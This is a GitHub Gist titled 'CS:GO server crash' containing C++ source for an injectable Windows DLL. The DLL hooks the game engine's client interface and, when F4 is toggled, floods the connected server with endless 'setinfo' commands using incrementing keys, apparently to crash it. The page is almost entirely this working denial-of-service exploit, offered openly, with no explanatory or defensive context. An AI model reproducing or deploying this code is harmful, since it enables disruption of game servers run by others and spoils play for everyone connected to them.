Last active
April 10, 2018 17:40
-
-
Save ar1a/96b64b1906dcb6ca8ee3 to your computer and use it in GitHub Desktop.
CS:GO server crash
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <Windows.h> | |
#include <string> | |
#include <iomanip> | |
#include <sstream> | |
template<typename T> T getvfunc(void *base, unsigned int index) | |
{ | |
DWORD** tablepointer = (DWORD**)base; | |
DWORD* tablebase = *tablepointer; | |
DWORD addr = tablebase[index]; | |
return (T)(addr); | |
} | |
class engine | |
{ | |
public: | |
void Cmd(const char* cmd) | |
{ | |
//108 | |
getvfunc<void(__thiscall*)(void*, const char*)>(this, 108)(this, cmd); | |
} | |
}; | |
typedef void* (*CreateInterfaceFn)(const char* name, int* returncode); | |
template<typename fn> fn GetInterface(std::string modulename, std::string interfacename) | |
{ | |
CreateInterfaceFn CreateInterface; | |
CreateInterface = (CreateInterfaceFn)GetProcAddress(GetModuleHandle(modulename.c_str()), "CreateInterface"); | |
fn pInterface = 0; | |
for (int i = 100; i > 0; i--) | |
{ | |
std::stringstream intf; | |
intf << interfacename << std::setfill('0') << std::setw(3) << i; | |
pInterface = (fn)(CreateInterface(intf.str().c_str(), 0)); | |
if (pInterface) break; | |
} | |
return pInterface; | |
} | |
DWORD WINAPI meme(void* args) | |
{ | |
engine* eng = GetInterface<engine*>("engine.dll", "VEngineClient"); | |
while (1) { | |
static bool tog = false; | |
static int v = 0; | |
if(tog) | |
{ | |
std::stringstream str; | |
str << "setinfo " << v << " " << v; | |
eng->Cmd(str.str().c_str()); | |
v++; | |
} | |
if (GetAsyncKeyState(VK_F4)) { | |
tog = !tog; | |
Sleep(250); | |
Beep(tog ? 0x250 : 0x350, 0x150); | |
} | |
Sleep(1); | |
} | |
} | |
BOOL WINAPI DllMain(void* inst, DWORD reason, void* reserved) | |
{ | |
if (reason == 1) { | |
CreateThread(0, 0, meme, 0, 0, 0); | |
} | |
return 1; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment